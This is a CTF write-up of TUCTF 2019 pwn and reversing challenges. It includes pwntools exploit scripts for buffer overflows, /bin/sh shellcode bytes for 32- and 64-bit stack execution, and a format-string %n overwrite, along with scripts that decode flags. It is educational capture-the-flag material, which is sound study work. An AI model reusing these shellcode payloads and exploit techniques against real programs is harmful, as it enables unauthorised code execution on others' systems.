TUCTF 2019 - Pwn & Rev Challenges
I couldn’t give much time to the CTF because of some college work, but I gave a shot at the PWN challenges. The challenges became offline later but I still decided to work on the exploit scripts to make them work locally.
Pwn Challenges
thefirst - 379 pts
We can see in the image below that gets
is being used to take the input. Hence it can be exploited for buffer overflow. First, using GDB (with GEF), we find that the offset required to overflow the buffer is 24.
This can be done using pattern create 50
and then using that pattern to find the crash offset.
Also inspecting the functions, we see that there is a printFlag
function at 0x80491f6. So, our objective is to jump there.
The following script is the exploit.
from pwn import *
p = process("./thefirst")
# p = remote("chal.tuctf.com", 30508)
print_flag_addr = 0x80491f6
offset = 20
payload = "A"*offset
payload += "BBBB"
payload += p32(print_flag_addr)
f = open('payload', 'wb')
f.write(payload)
f.close()
p.recvuntil('> ')
p.sendline(payload)
p.interactive()
shellme32 - 462 pts
On running the program, we are given an address and we have to provide some input. On analysing it using GDB, and using vmmap
, we find that the adress given to us is that of the stack and the stack is read, write and executable.
We use shell-storm to get the shellcode. First we get the offset of the crash like before. In the script below, we use the shellcode, pad it with ‘A’s and then provide the address to write to, i.e. the adress provided to us.
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
len_shell_code = 28
from pwn import *
# context.log_level = 'debug'
p = process("./shellme32")
offset = 40
p.recvuntil('?\n')
addr = int(p.recvline().strip(), 16)
p.recvuntil('> ')
log.info('Stack Address: ' + str(hex(addr)))
payload = shellcode
payload += "A"*(offset - len_shell_code)
payload += p32(addr)
print(len(shellcode))
p.sendline(payload)
with open('payload', 'wb') as f:
f.write(payload)
p.interactive()
shellme64 - 480 pts
This is similar to the shellme32 challenge. We just replace the shellcode with a x64 shellcode. And replace p32
with p64
when adding the stack address to the payload.
We use exploit-db to get the shellcode. The offset of the crash is same as before.
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
len_shell_code = 24
from pwn import *
# context.log_level = 'debug'
p = process("./shellme64")
offset = 40
p.recvuntil('this\n')
addr = int(p.recvline().strip(), 16)
p.recvuntil('> ')
log.info('Stack Address: ' + str(hex(addr)))
payload = shellcode
payload += "A"*(offset - len(shellcode))
# with open('payload', 'wb') as f:
# f.write(payload)
payload += p64(addr)
p.sendline(payload)
with open('payload', 'wb') as f:
f.write(payload)
p.interactive()
printfun - 500 pts
Here, on analysing with Ghidra, we find that there is a format string vulnerability.
So, here first we use GDB to get the addresses of the two buffers being compared. Also, as input if we provide "%x %x %x %x %x %x %x %x %x %x %x %x %x %x"
, for the instance running on GDB we get this output -
5655a050 3c 14 1 ffffc994 5655a050 5655a008 ffffc900 0 0 f7e06637 f7fa0000 f7fa0000 0
On seeing the values displayed by GDB, we see two addresses - 0x5655a008
and 0x5655a050
This is intereting as both these addresses are also present in the program’s output with our input.
So, all we have to do is overwrite the 6th and 7th “addresses” of the output to the same value so that the string comparison passes.
We write the following exploit code, which works locally. I hope it would work remotely as well (but no way to test it now ) -
from pwn import *
p = process("printfun")
payload = "AAAA%6$n%7$n"
p.sendlineafter('? ', payload)
p.interactive()
Rev Challenges
faker - 400 pts
If we open the binary in Ghidra, we see that there are calls to different functions, namely A, B and C, which depend on the user input. But on trying them, we get fake flags.
But all of them have a common structure, they have a call to printFlag
with a string.
Also in the functions list, we see that there is a function named thisone
. First we take a look at printFlag
function.
There can be two ways to solve this challenge.
Method 1 - Static
Write a script to emulate the functionality of the printFlag
function.
def printFlag(s):
s2 = ""
for i in range(len(s)):
x = ((((ord(s[i]) ^ 0xf) - 0x1d) * 8) % 0x5f) + 0x20
s2 += chr(x)
print(s2)
printFlag("\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k")
This gives us the flag - TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}
Method 2 - Dynamic
Here set a breakpoint in main and then run the following commads in GDB.
(gdb) info functions # get address of printFlag function
(gdb) set $rip=0x000055555555534b # i.e. to the address of the function
(gdb) c
This will print the flag.
core - 400 pts
We a re provided a core dump and a C file. The C file looks like this
#include <stdio.h> // prints
#include <stdlib.h> // malloc
#include <string.h> // strcmp
#include <unistd.h> // read
#include <fcntl.h> // open
#include <unistd.h> // close
#include <time.h> // time
#define FLAG_LEN 64
char flag[FLAG_LEN];
void xor(char *str, int len) {
for (int i = 0; i < len; i++) {
str[i] = str[i] ^ 1;
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 20);
setvbuf(stdin, NULL, _IONBF, 20);
// Read the flag
memset(flag, 0, FLAG_LEN);
printf("> ");
int len = read(0, flag, FLAG_LEN);
xor(flag, len);
char buf[32];
read(0, buf, 128);
return 0;
}
Basically we are XORing the input string with 1. We assume that flag is in the standard format, i.e. begins with TUCTF
. So we pre-calculate, the starting of the string that should be in memory.
TUCTF
=> UTBUG
We use xxd
to view the core.
We find something interesting in the memory. On decoding
core_string = "55544255477a623173325e65746c713e5e4f327732735e69323573655e31675e7831747c".decode('hex')
flag = ""
for i in core_string:
flag += chr(ord(i) ^ 1)
print(flag)
The flag - TUCTF{c0r3_dump?_N3v3r_h34rd_0f_y0u}
That’s all for now .